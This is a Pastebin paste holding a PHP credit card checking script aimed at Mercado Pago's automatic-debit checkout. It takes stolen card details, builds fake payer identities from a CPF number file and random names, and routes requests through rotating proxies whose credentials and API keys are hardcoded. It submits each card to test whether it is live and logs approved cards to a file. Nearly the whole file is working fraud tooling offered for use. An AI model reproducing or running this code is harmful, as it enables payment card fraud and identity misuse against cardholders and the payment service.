Advertisement
Guest User

Untitled

a guest
Feb 21st, 2019
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.40 KB | None | 0 0
  1. <?php
  2. ////////////// INDEX NÃO É MINHA SÓ API :)
  3. ////////////// PRIMEIRO COMANDO DA WEB KRL SÓ VEM....
  4. error_reporting(1);
  5. set_time_limit(0);
  6. ///// Pegando parametros via GET
  7. extract($_GET);
  8. $lista = str_replace(" " , "", $lista);
  9. $separar = explode("|", $lista);
  10. $cc = $separar[0];
  11. $mes = $separar[1];
  12. $ano = $separar[2];
  13. $cvv = $separar[3];
  14.  
  15.  
  16. $username = 'lum-customer-hl_44d3eb6b-zone-static';
  17. $password = 'jyx072l643kj';
  18. $port = 22225;
  19.  
  20. $session = mt_rand();
  21. $super_proxy = 'zproxy.lum-superproxy.io';
  22.  
  23.  
  24. function mudarchave(){
  25. $chaves = array('6524a147ae404d27be1ca8ed669b063a',
  26. 'be3a7aaaedca4f5d8a74b2a7f6934dc2',
  27. 'dcb5a1d3555242f38962eb40b3f1f7aa',
  28. '340acd4a6c264ba29dc0b78f261c8378',
  29. '38b4d69d72e44029bc74ef07f9e91188',
  30. 'dc139dea9b1747889b8ab9d965fa337f',
  31. 'ceaad30fb60d4d3595e71521673bca6e',
  32. '1a243f19d73644a19eea147e52f645be',
  33. 'fd87389bd9c5496b8747f9dd1041c463',
  34. '23d95878e5a0493b8eecb7d451bdf095',
  35. '23d95878e5a0493b8eecb7d451bdf095');
  36. $chave = $chaves[rand(0,10)];
  37. return $chave;
  38. }
  39. function value($str,$find_start,$find_end){
  40.  
  41. $start = @strpos($str,$find_start);
  42. if ($start === false) {
  43. return "";
  44. }
  45. $length = strlen($find_start);
  46. $end = strpos(substr($str,$start +$length),$find_end);
  47. return trim(substr($str,$start +$length,$end));
  48. }
  49.  
  50.  
  51. function mod($dividendo,$divisor)
  52. {
  53. return round($dividendo - (floor($dividendo/$divisor)*$divisor));
  54. }
  55.  
  56. function Gnome(){
  57. $nome = file("lista_nomes.txt");
  58. $mynome = rand(0,sizeof($nome)-1);
  59. $nome = $nome[$mynome];
  60. $nome = substr($nome, 0,(strlen($nome)-1));
  61. return $nome;
  62. }
  63. function Gsobrenome(){
  64.  
  65. $sobrenome = file("lista_sobrenomes.txt");
  66.  
  67. $mysobrenome = rand(0,sizeof($sobrenome)-1);
  68. $sobenome = $sobrenome[$mysobrenome];
  69. return $sobenome;
  70. }
  71.  
  72. function email($nome){
  73. $rand = rand(00000,99999999999999999999);
  74. $email = preg_replace('<\W+>', "", $nome).$rand."@hotmail.com";
  75. return $email;
  76. }
  77. function cpf(){
  78. $cpf = file("cpf2018.txt");
  79. $mycpf = rand(0, sizeof($cpf)-1);
  80. $cpf = $cpf[$mycpf];
  81.  
  82. $tamanho = strlen($cpf);
  83. while($tamanho !== 13){
  84. $cpf = cpf();
  85. $tamanho = strlen($cpf);
  86. }
  87.  
  88.  
  89. return $cpf;
  90. }
  91. function bandeira($num){
  92. switch (substr($num, 0, 1)){
  93. case '5':
  94. $bandeira = "master";
  95. return $bandeira;
  96. break;
  97. case '4':
  98. $bandeira = "visa";
  99. return $bandeira;
  100. break;
  101. case '3':
  102. $bandeira = "amex";
  103. return $bandeira;
  104. break;
  105. default:
  106. }
  107.  
  108. }
  109.  
  110. function cm($num,$bandeira){
  111. switch (substr($num, 0, 6)){
  112. case '522499':
  113. $bandeira = "melicard";
  114. return $bandeira;
  115. break;
  116. case '530032':
  117. $bandeira = "melicard";
  118. return $bandeira;
  119. break;
  120. case '636368':
  121. $bandeira = "elo";
  122. return $bandeira;
  123. break;
  124. case '506699':
  125. $bandeira = "elo";
  126. return $bandeira;
  127. break;
  128. case '636297':
  129. $bandeira = "elo";
  130. return $bandeira;
  131. break;
  132. case '451416':
  133. $bandeira = "elo";
  134. return $bandeira;
  135. break;
  136. case '504175':
  137. $bandeira = "elo";
  138. return $bandeira;
  139. break;
  140. case '438935':
  141. $bandeira = "elo";
  142. return $bandeira;
  143. break;
  144. case '636369':
  145. $bandeira = "elo";
  146. return $bandeira;
  147. break;
  148. default:
  149. }
  150. return $bandeira;
  151.  
  152. }
  153. function cm_elo($cc,$bandeira){
  154. switch (substr($cc, 0, 4)){
  155. case '5067':
  156. $bandeira = "elo";
  157. return $bandeira;
  158. break;
  159. case '4576':
  160. $bandeira = "elo";
  161. return $bandeira;
  162. break;
  163. case '4011':
  164. $bandeira = "elo";
  165. return $bandeira;
  166. break;
  167. default:
  168. }
  169. return $bandeira;
  170.  
  171. }
  172. function cm_d($cc,$bandeira){
  173. switch (substr($cc, 0, 3)){
  174. case '301':
  175. $bandeira = "diners";
  176. return $bandeira;
  177. break;
  178. case '305':
  179. $bandeira = "diners";
  180. return $bandeira;
  181. break;
  182. default:
  183. }
  184. return $bandeira;
  185.  
  186. }
  187. function cm_e($cc,$bandeira){
  188. switch (substr($cc, 0, 2)){
  189. case '36':
  190. $bandeira = "diners";
  191. return $bandeira;
  192. break;
  193. case '38':
  194. $bandeira = "diners";
  195. return $bandeira;
  196. break;
  197. case '60':
  198. $bandeira = "hipercard";
  199. return $bandeira;
  200. break;
  201. default:
  202. }
  203. return $bandeira;
  204.  
  205. }
  206.  
  207.  
  208. $bandeira = bandeira($cc);
  209. $bandeira = cm($cc, $bandeira);
  210. $bandeira = cm_e($cc, $bandeira);
  211. $bandeira = cm_d($cc, $bandeira);
  212. $bandeira = cm_elo($cc, $bandeira);
  213.  
  214. $cpf = cpf();
  215.  
  216.  
  217. ///////////////////////////////////////
  218. $nome = Gnome();
  219. $traamnhonome = strlen($nome);
  220. $nomereal = substr($nome, 0, ($traamnhonome - 1));
  221. //////////////////////////////////////////////////////
  222. $sobre = Gsobrenome();
  223. $tamnhosobre = strlen($sobre);
  224. $sobrenomereal = substr($sobre, 0, ($tamnhosobre - 2));
  225. ////////////////////////////////////////////////
  226. $nomecompleto = "$nomereal+$sobrenomereal";
  227. $email = email($nomecompleto);
  228.  
  229. ///////////////////////////////////////////////////////////////////////
  230. $chave = mudarchave();
  231. //$chave = "42141bbaf4d1451d901e25652b57ecea"; //////--1,00-
  232. //$chave = "c1c8554a049b49b1baae75e069e88631"; //// --1,00-
  233. //$chave = "dfac3e24f701423ea3cd94609b15516c";////grenpeade2,00--
  234. //$chave = "80094ce36b164768844d3f45926a7da4"; ///// 2,00-
  235. //$chave = "953fc1be846d4128be18af8c5888560d"; ///// 100,00
  236. //$chave = "c83421be6a4541b291abe2cbacd0bdc5"; ///// 5,00
  237. //$chave = "be84145a5a494d999b0f6019c2525bf3"; ///// 1,00-
  238. //$chave = "7fe178e7156b49669d59e3b0df8acc30"; ///// 1,00-
  239. //$chave = "4ea86ae1da8949ff961a82a2a4608e4e"; ///// 1,00-
  240.  
  241. //$chave1 = array("42141bbaf4d1451d901e25652b57ecea","c1c8554a049b49b1baae75e069e88631","dfac3e24f701423ea3cd94609b15516c","80094ce36b164768844d3f45926a7da4","953fc1be846d4128be18af8c5888560d","c83421be6a4541b291abe2cbacd0bdc5","be84145a5a494d999b0f6019c2525bf3","7fe178e7156b49669d59e3b0df8acc30","4ea86ae1da8949ff961a82a2a4608e4e");
  242. // $chave= $chave1[rand(0, count($chave1))];
  243.  
  244. ////////////////////////////////////////////////////////////////////////////////////////
  245. /////////pegando proxy
  246.  
  247. function getPr(){
  248. $ch = curl_init();
  249. curl_setopt($ch, CURLOPT_URL, 'http://falcon.proxyrotator.com:51337/?apiKey=wMXh3s8Cud2YAWN7cRBnVQ6rFZ9yjzmJ&country=BR');
  250. curl_setopt($ch, CURLOPT_HEADER, 0);
  251. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  252. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  253. $data = curl_exec($ch);
  254. $json = json_decode($data);
  255. $proxy = $json->proxy;
  256. return $proxy;
  257. }
  258.  
  259.  
  260. function chkP(){
  261. $ch = curl_init();
  262. curl_setopt($ch, CURLOPT_URL, "https://www.mercadopago.com/mlb/debits/new?preapproval_plan_id=$chave");
  263. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  264. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  265. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  266. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  267. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  268. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  269. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  270. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  271. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  272. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  273. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  274. //curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  275. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  276. $a = curl_exec($ch);
  277.  
  278. return $a;
  279. }
  280. $proxy = getPr();
  281. $testaproxy = chkP();
  282.  
  283. while(strpos($testaproxy, "<html>") == false){
  284. $proxy = getPr();
  285. $testaproxy = chkP();
  286.  
  287. }
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294. ///*///////////////////////////inicio////////////////////////////////////
  295.  
  296. $ch = curl_init();
  297. curl_setopt($ch, CURLOPT_URL, "https://www.mercadopago.com/mlb/debits/new?preapproval_plan_id=$chave");
  298. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  299. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  300. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  301. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  302. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  303. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  304. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  305. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  306. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  307. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  308. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  309. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-country-br-session-$session:$password");
  310. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  311. $a = curl_exec($ch);
  312. ///PEGANDO CHAVES
  313. $dps = value($a, '<input type="hidden" id="dps" name="dps" value="','"/>');
  314. $ajaxToken = value($a, 'var ajaxToken = "','";');
  315. $ajaxToken2 = value($a, 'var ajaxToken2 = "','";');
  316. $collid = value($a,'name="collid" value="','"');
  317. ////////////////////////////VERIFICA CPF////////////////////////////////////////////////////////
  318. $ch = curl_init();
  319. $cpfv = substr($cpf, 0, 11);
  320. curl_setopt($ch, CURLOPT_URL, "https://www.mercadopago.com/mlb/debits/ajax/isValidDocNumber?");
  321. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  322. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  323. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  324. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  325. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  326. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  327. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  328. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  329. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  330. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  331. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  332. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-country-br-session-$session:$password");
  333. //curl_setopt($ch, CURLOPT_POST, true);
  334. curl_setopt($ch, CURLOPT_POSTFIELDS, "docType=CPF&docNumber=$cpfv&siteId=MLB");
  335. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  336. $b = curl_exec($ch);
  337.  
  338. ////////////////////////////VERIFICA EMAIL////////////////////////////////////////////////////////
  339. $ch = curl_init();
  340.  
  341. curl_setopt($ch, CURLOPT_URL, "https://www.mercadopago.com/mlb/debits/ajax/getAndValidateUserIdFromEmail?");
  342. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  343. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  344. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  345. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  346. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  347. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  348. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  349. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  350. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  351. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  352. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  353. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-country-br-session-$session:$password");
  354. //curl_setopt($ch, CURLOPT_POST, true);
  355. curl_setopt($ch, CURLOPT_POSTFIELDS, "payerEmail=$email&siteId=MLB&ajaxToken=$ajaxToken2");
  356. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  357. $c = curl_exec($ch);
  358. if (strpos($c, "Error al validar el payerEmail")){
  359. echo "Erro ao validar email";
  360.  
  361. }
  362. else {
  363.  
  364. $orguseridp = $c;
  365. }
  366. ///////////////////////////VERIFICA NOME////////////////////////////////////////////////////////
  367. $ch = curl_init();
  368.  
  369. curl_setopt($ch, CURLOPT_URL, "https://www.mercadopago.com/mlb/debits/ajax/validateName?");
  370. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  371. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  372. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  373. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  374. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  375. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  376. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  377. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  378. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  379. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  380. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  381. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-country-br-session-$session:$password");
  382. //curl_setopt($ch, CURLOPT_POST, true);
  383. curl_setopt($ch, CURLOPT_POSTFIELDS, "name=$nomereal&siteId=MLB");
  384. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  385. $d = curl_exec($ch);
  386. ///////////////////////////VERIFICA CHEKOUT////////////////////////////////////////////////////////
  387. $ch = curl_init();
  388. $cpfv = substr($cpf, 0, 11);
  389. echo "$bandeira";
  390. curl_setopt($ch, CURLOPT_URL, "https://pagamento.mercadopago.com/FrontEnd/checkoutCardForm?format=json");
  391. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  392. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  393. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  394. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  395. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  396. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  397. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  398. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  399. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  400. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  401. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  402. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-country-br-session-$session:$password");
  403. //curl_setopt($ch, CURLOPT_POST, true);
  404. curl_setopt($ch, CURLOPT_POSTFIELDS, "logId=preapproval_plan_MLB_$chave&siteId=MLB&paymentMethod=$bandeira&paymentTypeId=credit_card&cardNumber=$cc&cardExpirationMonth=$mes&cardExpirationYear=$ano&docType=CPF&docNumber=$cpfv&cardholderName=$nomecompleto&orguseridp=$orguseridp");
  405. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  406. $e = curl_exec($ch);
  407. $card_id = value($e,',"card_id":"','"}');
  408. $formid = value($e,'form_data_id":"','"');
  409.  
  410.  
  411. //////////////////////////VERIFICA chechkar////////////////////////////////////////////////////////
  412.  
  413. $ch = curl_init();
  414. $cpfv = substr($cpf, 0, 11);
  415. $bin = substr($cc,0, 6);
  416. $ultimocc = substr($cc,12, 4);
  417. $mascara = "XXXXXX";
  418. $mascarado = "$bin$mascara$ultimocc";
  419.  
  420. echo "$mascarado";
  421. echo "$chave";
  422. curl_setopt($ch, CURLOPT_URL, "https://www.mercadopago.com/mlb/debits/save");
  423. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  424. curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
  425. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
  426. curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  427. curl_setopt($ch, CURLOPT_POSTREDIR, 3);
  428. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 0);
  429. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  430. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  431. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  432. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  433. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  434. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-country-br-session-$session:$password");
  435. //curl_setopt($ch, CURLOPT_POST, true);
  436. curl_setopt($ch, CURLOPT_POSTFIELDS, "cardId=$card_id&formDataId=&siteId=MLB&orguseridp=$orguseridp&collid=$collid&preapprovalId=&preapprovalPlanId=$chave&paymentTypeId=credit_card&applicationId=8519218792780837&useCallback=false&fromFront=&cardIssuerId=&deviceId=$formid&dps=$dps&paymentMethod=$bandeira&cardNumber=$mascarado&cardExpirationMonth=$mes&cardExpirationYear=$ano&cardholderName=$nomecompleto&docType=CPF&docNumber=$cpfv+&payerEmail=$email&securityCode=$cvv&authorize=on");
  437. curl_setopt($ch, CURLOPT_TIMEOUT, 500);
  438. $f = curl_exec($ch);
  439.  
  440. include("consultabin.php");
  441. $resultbin = "$bandeira $banco $level $pais($paiscode)";
  442.  
  443. if(strpos($f, "Pronto!")){
  444. echo '<tr>
  445.  
  446. <td>
  447. <font color="#00FF00" size="1">CMDLEO APROVADA ✔ </font>
  448. </td>
  449. <td>
  450. <font size="1">'.$lista.'</font>
  451. </td>
  452. <td>
  453. <font size="1"><div style="width:300px" class="container debit result">
  454. <div class="box ok">
  455. Pronto!, D&eacute;bitos Autom&aacute;ticos do <font size="1" color="Cyan4" >MercadoCarder</font> irá debitar do seu '.$bandeira.'
  456. terminado em '.$ultimocc.'
  457. <p>Você verá o nome da tarifa como <font size="1" color="Cyan4" >MercadoCarder</font> na fatura do seu cartão de crédito.</p>
  458. </div>
  459. <p class="action backurl">
  460. <a class="ch-btn ch-btn-big" target="_parent">Continuar</a>
  461. </div></font>
  462. </td>
  463. <td>
  464. <font color="#00FF00" size="1">'.$resultbin.'</font>
  465. </td>
  466. </tr>';
  467. $hnd = fopen("AP.txt", "a");
  468. fwrite($hnd, " Aprovada|$lista--$resultbin--$chave\r\n");
  469.  
  470. }
  471. else if (strpos($f, "Não podemos processar os seus pagamentos com este cartão."))
  472. {
  473.  
  474. echo '<tr>
  475. <td>
  476. <font size="2"><font color="#0bbaee"><i aria-hidden="true">✘</i></font></font>
  477. </td>
  478. <td><font color="#F01005" size="1">@SYSTEM REPROVADO ✘</font></td><td><font size="1">'.$lista.'</font>
  479. </td>
  480. <td>
  481. <font size="1"><div style="width:300px" class="container result">
  482. <div class="ch-box-error">
  483. Não podemos processar os seus pagamentos com este cartão.
  484. </div>
  485. <p class="action backurl">
  486. <a class="ch-btn ch-btn-big">Utilizar outro cartão</a>
  487. </p>
  488. </div></font>
  489. </td>
  490. <td>
  491. <font size="1" color="Cyan4" align="left">'.$resultbin.'</font>
  492. </td>
  493. </tr>';
  494. }
  495. else if (strpos($f, "Você deve autorizar"))
  496. {
  497.  
  498. echo '<tr>
  499. <td>
  500. <font size="2"><font color="#0bbaee"><i aria-hidden="true">✘</i></font></font>
  501. </td>
  502. <td>
  503. <font color="#F01005" size="1">@SYSTEM REPROVADO ✘</font></td><td><font size="1">'.$lista.'</font>
  504. </td>
  505. <td>
  506. <font size="1"><div style="width:300px" class="container result">
  507. <div class="ch-box-attention">
  508. Você deve autorizar com o seu banco emissor os seus pagamentos através do <font size="1" color="Cyan4" >MercadoCarder</font>
  509. <p>O telefone está no verso do seu cartão de crédito.</p>
  510. </div>
  511. <p class="action backurl">
  512. <a >Prefiro usar outro cartão</a>
  513. </div></font>
  514. </td>
  515. <td>
  516. <font size="1" color="Cyan4" >'.$resultbin.'</font>
  517. </td>
  518. </tr>';
  519. }
  520. else if (strpos($f, "Algum dos dados está incorreto"))
  521. {
  522.  
  523.  
  524. echo '<tr>
  525. <td>
  526. <font size="2"><font color="#0bbaee"><i aria-hidden="true">✘</i></font></font>
  527. </td>
  528. <td>
  529. <font color="#F01005" size="1">CMDLEO REPROVADO ✘</font>
  530. </td>
  531. <td>
  532. <font size="1">'.$lista.'</font>
  533. </td>
  534. <td>
  535. <font size="1"><div style="width:300px" class="container result"><div class="ch-box-error"><font size="2" color="#FF0000" >Algum dos dados está incorreto</font><p>Revise-os e teste A CC novamente.</p></div></div></font>
  536. </td>
  537. <td>
  538. <font size="1" color="Cyan4" >Cartao invalido</font>
  539. </td>
  540. </tr>';
  541. //echo "$f";
  542. }
  543. else if (strpos($f, "Ops, algo deu errado "))
  544. {
  545.  
  546. echo '<tr>
  547. <td>
  548. <font size="2"><font color="#0bbaee"><i aria-hidden="true">✘</i></font></font>
  549. </td>
  550. <td>
  551. <font color="#F01005" size="1">CMDLEO REPROVADO ✘</font>
  552. </td>
  553. <td>
  554. <font size="1">'.$lista.'</font>
  555. </td>
  556. <td>
  557. <font size="1"><div style="width:300px" class="container result"><div class="ch-box-error"><font size="2" color="#FF0000" >Ops, algo deu errado </font><p>Revise-os e teste A CC novamente.</p></div></div></font>
  558. </td>
  559. <td>
  560. <font size="1" color="Cyan4" >'.$resultbin.'</font>
  561. </td>
  562. </tr>';
  563. }
  564. else if (strpos($f, "Ligue para o seu banco emissor para ativar o seu cartão de crédito"))
  565. {
  566.  
  567. echo '<tr>
  568. <td>
  569. <font size="2"><font color="#0bbaee"><i aria-hidden="true">✘</i></font></font>
  570. </td>
  571. <td>
  572. <font color="#F01005" size="1">CMDLEO REPROVADO ✘</font>
  573. </td>
  574. <td>
  575. <font size="1">'.$lista.'</font>
  576. </td>
  577. <td>
  578. <font size="1"><div style = "width:300px" class="container result"><div class="ch-box-error">Ligue para o seu banco emissor para ativar o seu cartão de crédito<p>Cartao Desativado</p></div></div></font>
  579. </td>
  580. <td>
  581. <font size="1" color="Cyan4" >'.$resultbin.'</font>
  582. </td>
  583. </tr>';
  584. }
  585. else//(strpos($f, "Não podemos processar os seus pagamentos com este cartão."))
  586. {
  587.  
  588. echo '<tr>
  589. <td>
  590. <font size="2"><font color="#0bbaee"><i aria-hidden="true">✘</i></font></font>
  591. </td>
  592. <td><font color="#F01005" size="1">CMDLEO REPROVADO ✘</font>
  593. </td>
  594. <td><font size="1">'.$lista.'</font>
  595. </td>
  596. <td><font size="1" color="Cyan4" >'.$resultbin.'</font>
  597. </td>
  598. <td><font size="1"><div class="container result">Retorno Vazio ,Testar mais 1 vez essa cc</font>
  599. </td>
  600. </tr>';
  601. $hnd = fopen("Naotesto.txt", "a");
  602. fwrite($hnd, "$lista\r\n");
  603.  
  604. }
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612. /*
  613. echo "$cc|$mes|$ano|$cvv--$bandeira--chave:$chave\r\n";
  614. echo "$nome----$sobre-----$traamnhonome-------$nomereal------$sobrenomereal----------------------$nomecompleto-------$cpf----digitos:$tamanho--------$email\r\n";
  615. //echo "$result";
  616. echo "pegar keys:\r\n";
  617. echo "$dps--$ajaxToken---$ajaxToken2----$collid\r\n";
  618.  
  619.  
  620. echo "testar cpf:\r\n";
  621.  
  622. echo "$cpfv-----------$b\r\n";
  623. echo "testar email:\r\n";
  624. echo "$orguseridp\r\n";
  625. echo "testar nome\r\n";
  626. echo "$nome-------$d\r\n";
  627. echo "$orguseridp\r\n";
  628. echo "$orguseridp\r\n";
  629. echo "EWSULTADO CHECKOUT\r\n";
  630. echo "$E-------$e\r\n";
  631. echo "card-id---\r\n";
  632. echo "$card_id\r\n";
  633. echo "form id---\r\n";
  634. echo "$formid\r\n";
  635. echo "final-------------------------------------------------\r\n";
  636. echo "$f\r\n";
  637. */
  638. //ob_flush();
  639. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement